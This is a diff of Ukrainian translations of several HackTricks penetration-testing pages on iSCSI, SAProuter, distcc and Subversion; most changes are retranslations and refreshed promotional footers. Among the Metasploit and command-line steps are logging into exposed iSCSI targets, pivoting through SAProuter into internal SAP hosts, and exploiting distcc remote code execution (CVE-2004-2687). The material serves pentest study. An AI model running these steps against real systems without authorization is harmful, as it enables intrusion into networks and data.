```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
Приклад з [документації iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
Приклад з [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
|
||||
Спочатку вам потрібно **виявити імена цілей** за IP:
|
||||
По-перше, вам потрібно **виявити імена цілей** за IP:
|
||||
```bash
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
_Зверніть увагу, що він покаже **IP-адресу та порт інтерфейсів**, до яких ви можете **дістатися** ці **цілі**. Він навіть може **показати внутрішні IP-адреси або різні IP-адреси** від того, який ви використовували._
|
||||
_Зверніть увагу, що він покаже I**P та порт інтерфейсів**, де ви можете **досягти** цих **цілей**. Він навіть може **показати внутрішні IP-адреси або різні IP-адреси** від тієї, яку ви використовували._
|
||||
|
||||
Потім ви **зловлюєте 2-у частину надрукованого рядка кожного рядка** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ з першого рядка) і **спробуєте увійти**:
|
||||
Тоді ви **захоплюєте 2-гу частину надрукованого рядка кожного рядка** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ з першого рядка) і **намагаєтеся увійти**:
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Після цього ви можете **вийти** за допомогою `–logout`
|
||||
Тоді ви можете **вийти** за допомогою `–logout`
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Ми можемо знайти **більше інформації** про це, просто використовуючи **без** будь-якого параметра `--login`/`--logout`
|
||||
Ми можемо знайти **більше інформації** про це, просто використовуючи **без** будь-якого `--login`/`--logout` параметра
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||
# BEGIN RECORD 2.0-873
|
||||
|
@ -161,27 +162,28 @@ node.conn[0].iscsi.IFMarker = No
|
|||
node.conn[0].iscsi.OFMarker = No
|
||||
# END RECORD
|
||||
```
|
||||
**Є скрипт для автоматизації базового процесу переліку підмереж, доступний за посиланням** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
**Є скрипт для автоматизації базового процесу перерахунку підмереж, доступний за адресою** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
|
||||
## **Shodan**
|
||||
|
||||
* `port:3260 AuthMethod`
|
||||
|
||||
## **References**
|
||||
## **Посилання**
|
||||
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,59 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
## Розуміння Проникнення в SAProuter за допомогою Metasploit
|
||||
Це резюме посту з [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
SAProuter діє як зворотний проксі для систем SAP, в основному для контролю доступу між інтернетом та внутрішніми мережами SAP. Зазвичай він викладений в Інтернет, дозволяючи TCP-порт 3299 через корпоративні брандмауери. Це робить SAProuter привабливою метою для тестування на проникнення, оскільки він може служити воротами до внутрішніх мереж високої цінності.
|
||||
## Розуміння проникнення в SAProuter з Metasploit
|
||||
|
||||
**Сканування та Збір Інформації**
|
||||
SAProuter діє як зворотний проксі для систем SAP, головним чином для контролю доступу між інтернетом та внутрішніми мережами SAP. Його зазвичай відкривають для інтернету, дозволяючи TCP порт 3299 через організаційні брандмауери. Ця конфігурація робить SAProuter привабливою мішенню для тестування на проникнення, оскільки він може слугувати шлюзом до внутрішніх мереж з високою цінністю.
|
||||
|
||||
Спочатку виконується сканування для визначення того, чи працює SAP-маршрутизатор на заданому IP-адресі за допомогою модуля **sap_service_discovery**. Цей крок є важливим для встановлення наявності SAP-маршрутизатора та його відкритого порту.
|
||||
**Сканування та збір інформації**
|
||||
|
||||
Спочатку виконується сканування, щоб визначити, чи працює SAP router на заданій IP-адресі, використовуючи модуль **sap_service_discovery**. Цей крок є вирішальним для встановлення наявності SAP router та його відкритого порту.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
```
|
||||
Після виявлення проводиться подальше дослідження конфігурації SAP-маршрутизатора за допомогою модуля **sap_router_info_request**, щоб можливо розкрити внутрішні мережеві деталі.
|
||||
Після виявлення проводиться подальше розслідування конфігурації SAP маршрутизатора за допомогою модуля **sap_router_info_request**, щоб потенційно розкрити деталі внутрішньої мережі.
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_router_info_request) > run
|
||||
```
|
||||
**Перелік внутрішніх сервісів**
|
||||
**Перерахування внутрішніх сервісів**
|
||||
|
||||
З отриманими внутрішніми мережевими відомостями модуль **sap_router_portscanner** використовується для дослідження внутрішніх хостів та сервісів через SAProuter, що дозволяє отримати більш глибоке розуміння внутрішніх мереж та конфігурацій сервісів.
|
||||
З отриманими даними про внутрішню мережу, модуль **sap_router_portscanner** використовується для дослідження внутрішніх хостів і сервісів через SAProuter, що дозволяє глибше зрозуміти внутрішні мережі та конфігурації сервісів.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
```
|
||||
**Розширена перелічення та картографування ACL**
|
||||
Ця гнучкість модуля у націлюванні на конкретні екземпляри SAP та порти робить його ефективним інструментом для детального внутрішнього дослідження мережі.
|
||||
|
||||
Додаткове сканування може розкрити, як налаштовані списки керування доступом (ACL) на SAProuter, деталізуючи, які з'єднання дозволені або заблоковані. Ця інформація є ключовою для розуміння політик безпеки та потенційних вразливостей.
|
||||
**Розширена енумерація та картографування ACL**
|
||||
|
||||
Подальше сканування може виявити, як налаштовані списки контролю доступу (ACL) на SAProuter, детально описуючи, які з'єднання дозволені або заблоковані. Ця інформація є вирішальною для розуміння політик безпеки та потенційних вразливостей.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**Сліпе вибіркове перелічення внутрішніх хостів**
|
||||
**Сліпа енумерація внутрішніх хостів**
|
||||
|
||||
У сценаріях, де пряма інформація від SAProuter обмежена, можна застосовувати техніки сліпого перелічення. Цей підхід спробує вгадати та підтвердити існування внутрішніх імен хостів, розкриваючи потенційні цілі без прямих IP-адрес.
|
||||
У сценаріях, де пряма інформація з SAProuter обмежена, можна застосувати техніки, такі як сліпа енумерація. Цей підхід намагається вгадати та перевірити існування внутрішніх імен хостів, виявляючи потенційні цілі без прямих IP-адрес.
|
||||
|
||||
**Використання інформації для тестування на проникнення**
|
||||
**Використання інформації для пентестингу**
|
||||
|
||||
Після того, як була створена мережева карта та визначені доступні служби, тестувальники на проникнення можуть використовувати можливості проксі Metasploit для просування через SAProuter для подальшого дослідження та експлуатації внутрішніх служб SAP.
|
||||
Маючи змодельовану мережу та ідентифіковані доступні сервіси, пентестери можуть використовувати можливості проксі Metasploit для переходу через SAProuter для подальшого дослідження та експлуатації внутрішніх SAP-сервісів.
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
|
@ -61,10 +66,9 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
```
|
||||
**Висновок**
|
||||
|
||||
Цей підхід підкреслює важливість безпечних конфігурацій SAProuter та підкреслює потенціал доступу до внутрішніх мереж через цілеспрямоване тестування на проникнення. Правильне захист SAP-маршрутизаторів та розуміння їх ролі в архітектурі мережевої безпеки є важливим для захисту від несанкціонованого доступу.
|
||||
|
||||
Для отримання більш детальної інформації про модулі Metasploit та їх використання відвідайте [базу даних Rapid7](http://www.rapid7.com/db).
|
||||
Цей підхід підкреслює важливість безпечних конфігурацій SAProuter і висвітлює потенціал доступу до внутрішніх мереж через цілеспрямоване тестування на проникнення. Правильне забезпечення безпеки SAP маршрутизаторів і розуміння їхньої ролі в архітектурі мережевої безпеки є критично важливими для захисту від несанкціонованого доступу.
|
||||
|
||||
Для отримання більш детальної інформації про модулі Metasploit та їх використання, відвідайте [базу даних Rapid7](http://www.rapid7.com/db).
|
||||
|
||||
## **Посилання**
|
||||
|
||||
|
@ -76,16 +80,17 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Основна інформація
|
||||
|
||||
**Distcc** - це інструмент, який покращує **процес компіляції**, використовуючи **вільну потужність обробки** інших комп'ютерів у мережі. Коли **distcc** налаштований на машині, ця машина може розподіляти свої **завдання компіляції** на іншу систему. Ця система-одержувач повинна запускати **демон distccd** та мати встановлений **сумісний компілятор** для обробки надісланого коду.
|
||||
**Distcc** - це інструмент, який покращує **процес компіляції**, використовуючи **вільну обробну потужність** інших комп'ютерів у мережі. Коли **distcc** налаштовано на машині, ця машина здатна розподіляти свої **завдання компіляції** на іншу систему. Ця приймальна система повинна працювати з **демоном distccd** і мати встановлений **сумісний компілятор** для обробки надісланого коду.
|
||||
|
||||
**Порт за замовчуванням:** 3632
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3632/tcp open distccd
|
||||
```
|
||||
# Експлуатація
|
||||
# Використання
|
||||
|
||||
Перевірте, чи є вразливість до **CVE-2004-2687** для виконання довільного коду:
|
||||
Перевірте, чи вразливий до **CVE-2004-2687** для виконання довільного коду:
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||
```
|
||||
# Shodan
|
||||
|
||||
_Я не вважаю, що Shodan виявляє цей сервіс._
|
||||
_Я не думаю, що shodan виявляє цей сервіс._
|
||||
|
||||
# Ресурси
|
||||
# Resources
|
||||
|
||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
||||
Пост створений **Álex B (@r1p)**
|
||||
Post created by **Álex B (@r1p)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,48 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Основна інформація
|
||||
|
||||
**Subversion** - це централізована **система контролю версій**, яка відіграє важливу роль у керуванні як поточними, так і історичними даними проекти. Як **відкрите програмне забезпечення**, воно працює під **ліцензією Apache**. Ця система широко визнана за свої можливості у **версіонуванні програмного забезпечення та контролі версій**, що забезпечує можливість користувачам ефективно відстежувати зміни з часом.
|
||||
**Subversion** є централізованою **системою контролю версій**, яка відіграє важливу роль в управлінні як поточними, так і історичними даними проектів. Будучи **інструментом з відкритим кодом**, він працює під **ліцензією Apache**. Ця система широко визнана за свої можливості в **версіюванні програмного забезпечення та контролі ревізій**, що забезпечує ефективний моніторинг змін з часом.
|
||||
|
||||
**Порт за замовчуванням:** 3690
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3690/tcp open svnserve Subversion
|
||||
```
|
||||
## Отримання банера
|
||||
## Збір банерів
|
||||
```
|
||||
nc -vn 10.10.10.10 3690
|
||||
```
|
||||
## Перелік
|
||||
## Перерахування
|
||||
```bash
|
||||
svn ls svn://10.10.10.203 #list
|
||||
svn log svn://10.10.10.203 #Commit history
|
||||
svn checkout svn://10.10.10.203 #Download the repository
|
||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
